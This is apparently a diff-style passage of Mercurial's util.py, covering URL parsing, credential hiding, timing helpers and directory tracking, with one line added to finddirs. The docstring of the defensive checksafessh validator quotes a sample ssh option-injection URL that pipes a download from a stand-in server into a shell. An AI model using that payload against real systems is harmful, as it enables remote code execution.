2739 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2739 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2740
2740
2741 Only scheme:
2741 Only scheme:
2742
2742
2743 >>> url(b'http:')
2743 >>> url(b'http:')
2744 <url scheme: 'http'>
2744 <url scheme: 'http'>
2745 """
2745 """
2746
2746
2747 _safechars = "!~*'()+"
2747 _safechars = "!~*'()+"
2748 _safepchars = "/!~*'()+:\\"
2748 _safepchars = "/!~*'()+:\\"
2749 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2749 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2750
2750
2751 def __init__(self, path, parsequery=True, parsefragment=True):
2751 def __init__(self, path, parsequery=True, parsefragment=True):
2752 # We slowly chomp away at path until we have only the path left
2752 # We slowly chomp away at path until we have only the path left
2753 self.scheme = self.user = self.passwd = self.host = None
2753 self.scheme = self.user = self.passwd = self.host = None
2754 self.port = self.path = self.query = self.fragment = None
2754 self.port = self.path = self.query = self.fragment = None
2755 self._localpath = True
2755 self._localpath = True
2756 self._hostport = ''
2756 self._hostport = ''
2757 self._origpath = path
2757 self._origpath = path
2758
2758
2759 if parsefragment and '#' in path:
2759 if parsefragment and '#' in path:
2760 path, self.fragment = path.split('#', 1)
2760 path, self.fragment = path.split('#', 1)
2761
2761
2762 # special case for Windows drive letters and UNC paths
2762 # special case for Windows drive letters and UNC paths
2763 if hasdriveletter(path) or path.startswith('\\\\'):
2763 if hasdriveletter(path) or path.startswith('\\\\'):
2764 self.path = path
2764 self.path = path
2765 return
2765 return
2766
2766
2767 # For compatibility reasons, we can't handle bundle paths as
2767 # For compatibility reasons, we can't handle bundle paths as
2768 # normal URLS
2768 # normal URLS
2769 if path.startswith('bundle:'):
2769 if path.startswith('bundle:'):
2770 self.scheme = 'bundle'
2770 self.scheme = 'bundle'
2771 path = path[7:]
2771 path = path[7:]
2772 if path.startswith('//'):
2772 if path.startswith('//'):
2773 path = path[2:]
2773 path = path[2:]
2774 self.path = path
2774 self.path = path
2775 return
2775 return
2776
2776
2777 if self._matchscheme(path):
2777 if self._matchscheme(path):
2778 parts = path.split(':', 1)
2778 parts = path.split(':', 1)
2779 if parts[0]:
2779 if parts[0]:
2780 self.scheme, path = parts
2780 self.scheme, path = parts
2781 self._localpath = False
2781 self._localpath = False
2782
2782
2783 if not path:
2783 if not path:
2784 path = None
2784 path = None
2785 if self._localpath:
2785 if self._localpath:
2786 self.path = ''
2786 self.path = ''
2787 return
2787 return
2788 else:
2788 else:
2789 if self._localpath:
2789 if self._localpath:
2790 self.path = path
2790 self.path = path
2791 return
2791 return
2792
2792
2793 if parsequery and '?' in path:
2793 if parsequery and '?' in path:
2794 path, self.query = path.split('?', 1)
2794 path, self.query = path.split('?', 1)
2795 if not path:
2795 if not path:
2796 path = None
2796 path = None
2797 if not self.query:
2797 if not self.query:
2798 self.query = None
2798 self.query = None
2799
2799
2800 # // is required to specify a host/authority
2800 # // is required to specify a host/authority
2801 if path and path.startswith('//'):
2801 if path and path.startswith('//'):
2802 parts = path[2:].split('/', 1)
2802 parts = path[2:].split('/', 1)
2803 if len(parts) > 1:
2803 if len(parts) > 1:
2804 self.host, path = parts
2804 self.host, path = parts
2805 else:
2805 else:
2806 self.host = parts[0]
2806 self.host = parts[0]
2807 path = None
2807 path = None
2808 if not self.host:
2808 if not self.host:
2809 self.host = None
2809 self.host = None
2810 # path of file:///d is /d
2810 # path of file:///d is /d
2811 # path of file:///d:/ is d:/, not /d:/
2811 # path of file:///d:/ is d:/, not /d:/
2812 if path and not hasdriveletter(path):
2812 if path and not hasdriveletter(path):
2813 path = '/' + path
2813 path = '/' + path
2814
2814
2815 if self.host and '@' in self.host:
2815 if self.host and '@' in self.host:
2816 self.user, self.host = self.host.rsplit('@', 1)
2816 self.user, self.host = self.host.rsplit('@', 1)
2817 if ':' in self.user:
2817 if ':' in self.user:
2818 self.user, self.passwd = self.user.split(':', 1)
2818 self.user, self.passwd = self.user.split(':', 1)
2819 if not self.host:
2819 if not self.host:
2820 self.host = None
2820 self.host = None
2821
2821
2822 # Don't split on colons in IPv6 addresses without ports
2822 # Don't split on colons in IPv6 addresses without ports
2823 if (self.host and ':' in self.host and
2823 if (self.host and ':' in self.host and
2824 not (self.host.startswith('[') and self.host.endswith(']'))):
2824 not (self.host.startswith('[') and self.host.endswith(']'))):
2825 self._hostport = self.host
2825 self._hostport = self.host
2826 self.host, self.port = self.host.rsplit(':', 1)
2826 self.host, self.port = self.host.rsplit(':', 1)
2827 if not self.host:
2827 if not self.host:
2828 self.host = None
2828 self.host = None
2829
2829
2830 if (self.host and self.scheme == 'file' and
2830 if (self.host and self.scheme == 'file' and
2831 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2831 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2832 raise error.Abort(_('file:// URLs can only refer to localhost'))
2832 raise error.Abort(_('file:// URLs can only refer to localhost'))
2833
2833
2834 self.path = path
2834 self.path = path
2835
2835
2836 # leave the query string escaped
2836 # leave the query string escaped
2837 for a in ('user', 'passwd', 'host', 'port',
2837 for a in ('user', 'passwd', 'host', 'port',
2838 'path', 'fragment'):
2838 'path', 'fragment'):
2839 v = getattr(self, a)
2839 v = getattr(self, a)
2840 if v is not None:
2840 if v is not None:
2841 setattr(self, a, urlreq.unquote(v))
2841 setattr(self, a, urlreq.unquote(v))
2842
2842
2843 @encoding.strmethod
2843 @encoding.strmethod
2844 def __repr__(self):
2844 def __repr__(self):
2845 attrs = []
2845 attrs = []
2846 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2846 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2847 'query', 'fragment'):
2847 'query', 'fragment'):
2848 v = getattr(self, a)
2848 v = getattr(self, a)
2849 if v is not None:
2849 if v is not None:
2850 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
2850 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
2851 return '<url %s>' % ', '.join(attrs)
2851 return '<url %s>' % ', '.join(attrs)
2852
2852
2853 def __bytes__(self):
2853 def __bytes__(self):
2854 r"""Join the URL's components back into a URL string.
2854 r"""Join the URL's components back into a URL string.
2855
2855
2856 Examples:
2856 Examples:
2857
2857
2858 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2858 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2859 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2859 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2860 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2860 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2861 'http://user:pw@host:80/?foo=bar&baz=42'
2861 'http://user:pw@host:80/?foo=bar&baz=42'
2862 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2862 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2863 'http://user:pw@host:80/?foo=bar%3dbaz'
2863 'http://user:pw@host:80/?foo=bar%3dbaz'
2864 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2864 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2865 'ssh://user:pw@[::1]:2200//home/joe#'
2865 'ssh://user:pw@[::1]:2200//home/joe#'
2866 >>> bytes(url(b'http://localhost:80//'))
2866 >>> bytes(url(b'http://localhost:80//'))
2867 'http://localhost:80//'
2867 'http://localhost:80//'
2868 >>> bytes(url(b'http://localhost:80/'))
2868 >>> bytes(url(b'http://localhost:80/'))
2869 'http://localhost:80/'
2869 'http://localhost:80/'
2870 >>> bytes(url(b'http://localhost:80'))
2870 >>> bytes(url(b'http://localhost:80'))
2871 'http://localhost:80/'
2871 'http://localhost:80/'
2872 >>> bytes(url(b'bundle:foo'))
2872 >>> bytes(url(b'bundle:foo'))
2873 'bundle:foo'
2873 'bundle:foo'
2874 >>> bytes(url(b'bundle://../foo'))
2874 >>> bytes(url(b'bundle://../foo'))
2875 'bundle:../foo'
2875 'bundle:../foo'
2876 >>> bytes(url(b'path'))
2876 >>> bytes(url(b'path'))
2877 'path'
2877 'path'
2878 >>> bytes(url(b'file:///tmp/foo/bar'))
2878 >>> bytes(url(b'file:///tmp/foo/bar'))
2879 'file:///tmp/foo/bar'
2879 'file:///tmp/foo/bar'
2880 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2880 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2881 'file:///c:/tmp/foo/bar'
2881 'file:///c:/tmp/foo/bar'
2882 >>> print(url(br'bundle:foo\bar'))
2882 >>> print(url(br'bundle:foo\bar'))
2883 bundle:foo\bar
2883 bundle:foo\bar
2884 >>> print(url(br'file:///D:\data\hg'))
2884 >>> print(url(br'file:///D:\data\hg'))
2885 file:///D:\data\hg
2885 file:///D:\data\hg
2886 """
2886 """
2887 if self._localpath:
2887 if self._localpath:
2888 s = self.path
2888 s = self.path
2889 if self.scheme == 'bundle':
2889 if self.scheme == 'bundle':
2890 s = 'bundle:' + s
2890 s = 'bundle:' + s
2891 if self.fragment:
2891 if self.fragment:
2892 s += '#' + self.fragment
2892 s += '#' + self.fragment
2893 return s
2893 return s
2894
2894
2895 s = self.scheme + ':'
2895 s = self.scheme + ':'
2896 if self.user or self.passwd or self.host:
2896 if self.user or self.passwd or self.host:
2897 s += '//'
2897 s += '//'
2898 elif self.scheme and (not self.path or self.path.startswith('/')
2898 elif self.scheme and (not self.path or self.path.startswith('/')
2899 or hasdriveletter(self.path)):
2899 or hasdriveletter(self.path)):
2900 s += '//'
2900 s += '//'
2901 if hasdriveletter(self.path):
2901 if hasdriveletter(self.path):
2902 s += '/'
2902 s += '/'
2903 if self.user:
2903 if self.user:
2904 s += urlreq.quote(self.user, safe=self._safechars)
2904 s += urlreq.quote(self.user, safe=self._safechars)
2905 if self.passwd:
2905 if self.passwd:
2906 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2906 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2907 if self.user or self.passwd:
2907 if self.user or self.passwd:
2908 s += '@'
2908 s += '@'
2909 if self.host:
2909 if self.host:
2910 if not (self.host.startswith('[') and self.host.endswith(']')):
2910 if not (self.host.startswith('[') and self.host.endswith(']')):
2911 s += urlreq.quote(self.host)
2911 s += urlreq.quote(self.host)
2912 else:
2912 else:
2913 s += self.host
2913 s += self.host
2914 if self.port:
2914 if self.port:
2915 s += ':' + urlreq.quote(self.port)
2915 s += ':' + urlreq.quote(self.port)
2916 if self.host:
2916 if self.host:
2917 s += '/'
2917 s += '/'
2918 if self.path:
2918 if self.path:
2919 # TODO: similar to the query string, we should not unescape the
2919 # TODO: similar to the query string, we should not unescape the
2920 # path when we store it, the path might contain '%2f' = '/',
2920 # path when we store it, the path might contain '%2f' = '/',
2921 # which we should *not* escape.
2921 # which we should *not* escape.
2922 s += urlreq.quote(self.path, safe=self._safepchars)
2922 s += urlreq.quote(self.path, safe=self._safepchars)
2923 if self.query:
2923 if self.query:
2924 # we store the query in escaped form.
2924 # we store the query in escaped form.
2925 s += '?' + self.query
2925 s += '?' + self.query
2926 if self.fragment is not None:
2926 if self.fragment is not None:
2927 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2927 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2928 return s
2928 return s
2929
2929
2930 __str__ = encoding.strmethod(__bytes__)
2930 __str__ = encoding.strmethod(__bytes__)
2931
2931
2932 def authinfo(self):
2932 def authinfo(self):
2933 user, passwd = self.user, self.passwd
2933 user, passwd = self.user, self.passwd
2934 try:
2934 try:
2935 self.user, self.passwd = None, None
2935 self.user, self.passwd = None, None
2936 s = bytes(self)
2936 s = bytes(self)
2937 finally:
2937 finally:
2938 self.user, self.passwd = user, passwd
2938 self.user, self.passwd = user, passwd
2939 if not self.user:
2939 if not self.user:
2940 return (s, None)
2940 return (s, None)
2941 # authinfo[1] is passed to urllib2 password manager, and its
2941 # authinfo[1] is passed to urllib2 password manager, and its
2942 # URIs must not contain credentials. The host is passed in the
2942 # URIs must not contain credentials. The host is passed in the
2943 # URIs list because Python < 2.4.3 uses only that to search for
2943 # URIs list because Python < 2.4.3 uses only that to search for
2944 # a password.
2944 # a password.
2945 return (s, (None, (s, self.host),
2945 return (s, (None, (s, self.host),
2946 self.user, self.passwd or ''))
2946 self.user, self.passwd or ''))
2947
2947
2948 def isabs(self):
2948 def isabs(self):
2949 if self.scheme and self.scheme != 'file':
2949 if self.scheme and self.scheme != 'file':
2950 return True # remote URL
2950 return True # remote URL
2951 if hasdriveletter(self.path):
2951 if hasdriveletter(self.path):
2952 return True # absolute for our purposes - can't be joined()
2952 return True # absolute for our purposes - can't be joined()
2953 if self.path.startswith(br'\\'):
2953 if self.path.startswith(br'\\'):
2954 return True # Windows UNC path
2954 return True # Windows UNC path
2955 if self.path.startswith('/'):
2955 if self.path.startswith('/'):
2956 return True # POSIX-style
2956 return True # POSIX-style
2957 return False
2957 return False
2958
2958
2959 def localpath(self):
2959 def localpath(self):
2960 if self.scheme == 'file' or self.scheme == 'bundle':
2960 if self.scheme == 'file' or self.scheme == 'bundle':
2961 path = self.path or '/'
2961 path = self.path or '/'
2962 # For Windows, we need to promote hosts containing drive
2962 # For Windows, we need to promote hosts containing drive
2963 # letters to paths with drive letters.
2963 # letters to paths with drive letters.
2964 if hasdriveletter(self._hostport):
2964 if hasdriveletter(self._hostport):
2965 path = self._hostport + '/' + self.path
2965 path = self._hostport + '/' + self.path
2966 elif (self.host is not None and self.path
2966 elif (self.host is not None and self.path
2967 and not hasdriveletter(path)):
2967 and not hasdriveletter(path)):
2968 path = '/' + path
2968 path = '/' + path
2969 return path
2969 return path
2970 return self._origpath
2970 return self._origpath
2971
2971
2972 def islocal(self):
2972 def islocal(self):
2973 '''whether localpath will return something that posixfile can open'''
2973 '''whether localpath will return something that posixfile can open'''
2974 return (not self.scheme or self.scheme == 'file'
2974 return (not self.scheme or self.scheme == 'file'
2975 or self.scheme == 'bundle')
2975 or self.scheme == 'bundle')
2976
2976
2977 def hasscheme(path):
2977 def hasscheme(path):
2978 return bool(url(path).scheme)
2978 return bool(url(path).scheme)
2979
2979
2980 def hasdriveletter(path):
2980 def hasdriveletter(path):
2981 return path and path[1:2] == ':' and path[0:1].isalpha()
2981 return path and path[1:2] == ':' and path[0:1].isalpha()
2982
2982
2983 def urllocalpath(path):
2983 def urllocalpath(path):
2984 return url(path, parsequery=False, parsefragment=False).localpath()
2984 return url(path, parsequery=False, parsefragment=False).localpath()
2985
2985
2986 def checksafessh(path):
2986 def checksafessh(path):
2987 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2987 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2988
2988
2989 This is a sanity check for ssh urls. ssh will parse the first item as
2989 This is a sanity check for ssh urls. ssh will parse the first item as
2990 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2990 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2991 Let's prevent these potentially exploited urls entirely and warn the
2991 Let's prevent these potentially exploited urls entirely and warn the
2992 user.
2992 user.
2993
2993
2994 Raises an error.Abort when the url is unsafe.
2994 Raises an error.Abort when the url is unsafe.
2995 """
2995 """
2996 path = urlreq.unquote(path)
2996 path = urlreq.unquote(path)
2997 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2997 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2998 raise error.Abort(_('potentially unsafe url: %r') %
2998 raise error.Abort(_('potentially unsafe url: %r') %
2999 (pycompat.bytestr(path),))
2999 (pycompat.bytestr(path),))
3000
3000
3001 def hidepassword(u):
3001 def hidepassword(u):
3002 '''hide user credential in a url string'''
3002 '''hide user credential in a url string'''
3003 u = url(u)
3003 u = url(u)
3004 if u.passwd:
3004 if u.passwd:
3005 u.passwd = '***'
3005 u.passwd = '***'
3006 return bytes(u)
3006 return bytes(u)
3007
3007
3008 def removeauth(u):
3008 def removeauth(u):
3009 '''remove all authentication information from a url string'''
3009 '''remove all authentication information from a url string'''
3010 u = url(u)
3010 u = url(u)
3011 u.user = u.passwd = None
3011 u.user = u.passwd = None
3012 return bytes(u)
3012 return bytes(u)
3013
3013
3014 timecount = unitcountfn(
3014 timecount = unitcountfn(
3015 (1, 1e3, _('%.0f s')),
3015 (1, 1e3, _('%.0f s')),
3016 (100, 1, _('%.1f s')),
3016 (100, 1, _('%.1f s')),
3017 (10, 1, _('%.2f s')),
3017 (10, 1, _('%.2f s')),
3018 (1, 1, _('%.3f s')),
3018 (1, 1, _('%.3f s')),
3019 (100, 0.001, _('%.1f ms')),
3019 (100, 0.001, _('%.1f ms')),
3020 (10, 0.001, _('%.2f ms')),
3020 (10, 0.001, _('%.2f ms')),
3021 (1, 0.001, _('%.3f ms')),
3021 (1, 0.001, _('%.3f ms')),
3022 (100, 0.000001, _('%.1f us')),
3022 (100, 0.000001, _('%.1f us')),
3023 (10, 0.000001, _('%.2f us')),
3023 (10, 0.000001, _('%.2f us')),
3024 (1, 0.000001, _('%.3f us')),
3024 (1, 0.000001, _('%.3f us')),
3025 (100, 0.000000001, _('%.1f ns')),
3025 (100, 0.000000001, _('%.1f ns')),
3026 (10, 0.000000001, _('%.2f ns')),
3026 (10, 0.000000001, _('%.2f ns')),
3027 (1, 0.000000001, _('%.3f ns')),
3027 (1, 0.000000001, _('%.3f ns')),
3028 )
3028 )
3029
3029
3030 @attr.s
3030 @attr.s
3031 class timedcmstats(object):
3031 class timedcmstats(object):
3032 """Stats information produced by the timedcm context manager on entering."""
3032 """Stats information produced by the timedcm context manager on entering."""
3033
3033
3034 # the starting value of the timer as a float (meaning and resulution is
3034 # the starting value of the timer as a float (meaning and resulution is
3035 # platform dependent, see util.timer)
3035 # platform dependent, see util.timer)
3036 start = attr.ib(default=attr.Factory(lambda: timer()))
3036 start = attr.ib(default=attr.Factory(lambda: timer()))
3037 # the number of seconds as a floating point value; starts at 0, updated when
3037 # the number of seconds as a floating point value; starts at 0, updated when
3038 # the context is exited.
3038 # the context is exited.
3039 elapsed = attr.ib(default=0)
3039 elapsed = attr.ib(default=0)
3040 # the number of nested timedcm context managers.
3040 # the number of nested timedcm context managers.
3041 level = attr.ib(default=1)
3041 level = attr.ib(default=1)
3042
3042
3043 def __bytes__(self):
3043 def __bytes__(self):
3044 return timecount(self.elapsed) if self.elapsed else '<unknown>'
3044 return timecount(self.elapsed) if self.elapsed else '<unknown>'
3045
3045
3046 __str__ = encoding.strmethod(__bytes__)
3046 __str__ = encoding.strmethod(__bytes__)
3047
3047
3048 @contextlib.contextmanager
3048 @contextlib.contextmanager
3049 def timedcm(whencefmt, *whenceargs):
3049 def timedcm(whencefmt, *whenceargs):
3050 """A context manager that produces timing information for a given context.
3050 """A context manager that produces timing information for a given context.
3051
3051
3052 On entering a timedcmstats instance is produced.
3052 On entering a timedcmstats instance is produced.
3053
3053
3054 This context manager is reentrant.
3054 This context manager is reentrant.
3055
3055
3056 """
3056 """
3057 # track nested context managers
3057 # track nested context managers
3058 timedcm._nested += 1
3058 timedcm._nested += 1
3059 timing_stats = timedcmstats(level=timedcm._nested)
3059 timing_stats = timedcmstats(level=timedcm._nested)
3060 try:
3060 try:
3061 with tracing.log(whencefmt, *whenceargs):
3061 with tracing.log(whencefmt, *whenceargs):
3062 yield timing_stats
3062 yield timing_stats
3063 finally:
3063 finally:
3064 timing_stats.elapsed = timer() - timing_stats.start
3064 timing_stats.elapsed = timer() - timing_stats.start
3065 timedcm._nested -= 1
3065 timedcm._nested -= 1
3066
3066
3067 timedcm._nested = 0
3067 timedcm._nested = 0
3068
3068
3069 def timed(func):
3069 def timed(func):
3070 '''Report the execution time of a function call to stderr.
3070 '''Report the execution time of a function call to stderr.
3071
3071
3072 During development, use as a decorator when you need to measure
3072 During development, use as a decorator when you need to measure
3073 the cost of a function, e.g. as follows:
3073 the cost of a function, e.g. as follows:
3074
3074
3075 @util.timed
3075 @util.timed
3076 def foo(a, b, c):
3076 def foo(a, b, c):
3077 pass
3077 pass
3078 '''
3078 '''
3079
3079
3080 def wrapper(*args, **kwargs):
3080 def wrapper(*args, **kwargs):
3081 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3081 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3082 result = func(*args, **kwargs)
3082 result = func(*args, **kwargs)
3083 stderr = procutil.stderr
3083 stderr = procutil.stderr
3084 stderr.write('%s%s: %s\n' % (
3084 stderr.write('%s%s: %s\n' % (
3085 ' ' * time_stats.level * 2, pycompat.bytestr(func.__name__),
3085 ' ' * time_stats.level * 2, pycompat.bytestr(func.__name__),
3086 time_stats))
3086 time_stats))
3087 return result
3087 return result
3088 return wrapper
3088 return wrapper
3089
3089
3090 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3090 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3091 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3091 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3092
3092
3093 def sizetoint(s):
3093 def sizetoint(s):
3094 '''Convert a space specifier to a byte count.
3094 '''Convert a space specifier to a byte count.
3095
3095
3096 >>> sizetoint(b'30')
3096 >>> sizetoint(b'30')
3097 30
3097 30
3098 >>> sizetoint(b'2.2kb')
3098 >>> sizetoint(b'2.2kb')
3099 2252
3099 2252
3100 >>> sizetoint(b'6M')
3100 >>> sizetoint(b'6M')
3101 6291456
3101 6291456
3102 '''
3102 '''
3103 t = s.strip().lower()
3103 t = s.strip().lower()
3104 try:
3104 try:
3105 for k, u in _sizeunits:
3105 for k, u in _sizeunits:
3106 if t.endswith(k):
3106 if t.endswith(k):
3107 return int(float(t[:-len(k)]) * u)
3107 return int(float(t[:-len(k)]) * u)
3108 return int(t)
3108 return int(t)
3109 except ValueError:
3109 except ValueError:
3110 raise error.ParseError(_("couldn't parse size: %s") % s)
3110 raise error.ParseError(_("couldn't parse size: %s") % s)
3111
3111
3112 class hooks(object):
3112 class hooks(object):
3113 '''A collection of hook functions that can be used to extend a
3113 '''A collection of hook functions that can be used to extend a
3114 function's behavior. Hooks are called in lexicographic order,
3114 function's behavior. Hooks are called in lexicographic order,
3115 based on the names of their sources.'''
3115 based on the names of their sources.'''
3116
3116
3117 def __init__(self):
3117 def __init__(self):
3118 self._hooks = []
3118 self._hooks = []
3119
3119
3120 def add(self, source, hook):
3120 def add(self, source, hook):
3121 self._hooks.append((source, hook))
3121 self._hooks.append((source, hook))
3122
3122
3123 def __call__(self, *args):
3123 def __call__(self, *args):
3124 self._hooks.sort(key=lambda x: x[0])
3124 self._hooks.sort(key=lambda x: x[0])
3125 results = []
3125 results = []
3126 for source, hook in self._hooks:
3126 for source, hook in self._hooks:
3127 results.append(hook(*args))
3127 results.append(hook(*args))
3128 return results
3128 return results
3129
3129
3130 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
3130 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
3131 '''Yields lines for a nicely formatted stacktrace.
3131 '''Yields lines for a nicely formatted stacktrace.
3132 Skips the 'skip' last entries, then return the last 'depth' entries.
3132 Skips the 'skip' last entries, then return the last 'depth' entries.
3133 Each file+linenumber is formatted according to fileline.
3133 Each file+linenumber is formatted according to fileline.
3134 Each line is formatted according to line.
3134 Each line is formatted according to line.
3135 If line is None, it yields:
3135 If line is None, it yields:
3136 length of longest filepath+line number,
3136 length of longest filepath+line number,
3137 filepath+linenumber,
3137 filepath+linenumber,
3138 function
3138 function
3139
3139
3140 Not be used in production code but very convenient while developing.
3140 Not be used in production code but very convenient while developing.
3141 '''
3141 '''
3142 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3142 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3143 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3143 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3144 ][-depth:]
3144 ][-depth:]
3145 if entries:
3145 if entries:
3146 fnmax = max(len(entry[0]) for entry in entries)
3146 fnmax = max(len(entry[0]) for entry in entries)
3147 for fnln, func in entries:
3147 for fnln, func in entries:
3148 if line is None:
3148 if line is None:
3149 yield (fnmax, fnln, func)
3149 yield (fnmax, fnln, func)
3150 else:
3150 else:
3151 yield line % (fnmax, fnln, func)
3151 yield line % (fnmax, fnln, func)
3152
3152
3153 def debugstacktrace(msg='stacktrace', skip=0,
3153 def debugstacktrace(msg='stacktrace', skip=0,
3154 f=procutil.stderr, otherf=procutil.stdout, depth=0):
3154 f=procutil.stderr, otherf=procutil.stdout, depth=0):
3155 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3155 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3156 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3156 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3157 By default it will flush stdout first.
3157 By default it will flush stdout first.
3158 It can be used everywhere and intentionally does not require an ui object.
3158 It can be used everywhere and intentionally does not require an ui object.
3159 Not be used in production code but very convenient while developing.
3159 Not be used in production code but very convenient while developing.
3160 '''
3160 '''
3161 if otherf:
3161 if otherf:
3162 otherf.flush()
3162 otherf.flush()
3163 f.write('%s at:\n' % msg.rstrip())
3163 f.write('%s at:\n' % msg.rstrip())
3164 for line in getstackframes(skip + 1, depth=depth):
3164 for line in getstackframes(skip + 1, depth=depth):
3165 f.write(line)
3165 f.write(line)
3166 f.flush()
3166 f.flush()
3167
3167
3168 class dirs(object):
3168 class dirs(object):
3169 '''a multiset of directory names from a dirstate or manifest'''
3169 '''a multiset of directory names from a dirstate or manifest'''
3170
3170
3171 def __init__(self, map, skip=None):
3171 def __init__(self, map, skip=None):
3172 self._dirs = {}
3172 self._dirs = {}
3173 addpath = self.addpath
3173 addpath = self.addpath
3174 if safehasattr(map, 'iteritems') and skip is not None:
3174 if safehasattr(map, 'iteritems') and skip is not None:
3175 for f, s in map.iteritems():
3175 for f, s in map.iteritems():
3176 if s[0] != skip:
3176 if s[0] != skip:
3177 addpath(f)
3177 addpath(f)
3178 else:
3178 else:
3179 for f in map:
3179 for f in map:
3180 addpath(f)
3180 addpath(f)
3181
3181
3182 def addpath(self, path):
3182 def addpath(self, path):
3183 dirs = self._dirs
3183 dirs = self._dirs
3184 for base in finddirs(path):
3184 for base in finddirs(path):
3185 if base in dirs:
3185 if base in dirs:
3186 dirs[base] += 1
3186 dirs[base] += 1
3187 return
3187 return
3188 dirs[base] = 1
3188 dirs[base] = 1
3189
3189
3190 def delpath(self, path):
3190 def delpath(self, path):
3191 dirs = self._dirs
3191 dirs = self._dirs
3192 for base in finddirs(path):
3192 for base in finddirs(path):
3193 if dirs[base] > 1:
3193 if dirs[base] > 1:
3194 dirs[base] -= 1
3194 dirs[base] -= 1
3195 return
3195 return
3196 del dirs[base]
3196 del dirs[base]
3197
3197
3198 def __iter__(self):
3198 def __iter__(self):
3199 return iter(self._dirs)
3199 return iter(self._dirs)
3200
3200
3201 def __contains__(self, d):
3201 def __contains__(self, d):
3202 return d in self._dirs
3202 return d in self._dirs
3203
3203
3204 if safehasattr(parsers, 'dirs'):
3204 if safehasattr(parsers, 'dirs'):
3205 dirs = parsers.dirs
3205 dirs = parsers.dirs
3206
3206
3207 def finddirs(path):
3207 def finddirs(path):
3208 pos = path.rfind('/')
3208 pos = path.rfind('/')
3209 while pos != -1:
3209 while pos != -1:
3210 yield path[:pos]
3210 yield path[:pos]
3211 pos = path.rfind('/', 0, pos)
3211 pos = path.rfind('/', 0, pos)
3212 yield ''
3212
3213
3213
3214
3214 # convenient shortcut
3215 # convenient shortcut
3215 dst = debugstacktrace
3216 dst = debugstacktrace
3216
3217
3217 def safename(f, tag, ctx, others=None):
3218 def safename(f, tag, ctx, others=None):
3218 """
3219 """
3219 Generate a name that it is safe to rename f to in the given context.
3220 Generate a name that it is safe to rename f to in the given context.
3220
3221
3221 f: filename to rename
3222 f: filename to rename
3222 tag: a string tag that will be included in the new name
3223 tag: a string tag that will be included in the new name
3223 ctx: a context, in which the new name must not exist
3224 ctx: a context, in which the new name must not exist
3224 others: a set of other filenames that the new name must not be in
3225 others: a set of other filenames that the new name must not be in
3225
3226
3226 Returns a file name of the form oldname~tag[~number] which does not exist
3227 Returns a file name of the form oldname~tag[~number] which does not exist
3227 in the provided context and is not in the set of other names.
3228 in the provided context and is not in the set of other names.
3228 """
3229 """
3229 if others is None:
3230 if others is None:
3230 others = set()
3231 others = set()
3231
3232
3232 fn = '%s~%s' % (f, tag)
3233 fn = '%s~%s' % (f, tag)
3233 if fn not in ctx and fn not in others:
3234 if fn not in ctx and fn not in others:
3234 return fn
3235 return fn
3235 for n in itertools.count(1):
3236 for n in itertools.count(1):
3236 fn = '%s~%s~%s' % (f, tag, n)
3237 fn = '%s~%s~%s' % (f, tag, n)
3237 if fn not in ctx and fn not in others:
3238 if fn not in ctx and fn not in others:
3238 return fn
3239 return fn
3239
3240
3240 def readexactly(stream, n):
3241 def readexactly(stream, n):
3241 '''read n bytes from stream.read and abort if less was available'''
3242 '''read n bytes from stream.read and abort if less was available'''
3242 s = stream.read(n)
3243 s = stream.read(n)
3243 if len(s) < n:
3244 if len(s) < n:
3244 raise error.Abort(_("stream ended unexpectedly"
3245 raise error.Abort(_("stream ended unexpectedly"
3245 " (got %d bytes, expected %d)")
3246 " (got %d bytes, expected %d)")
3246 % (len(s), n))
3247 % (len(s), n))
3247 return s
3248 return s
3248
3249
3249 def uvarintencode(value):
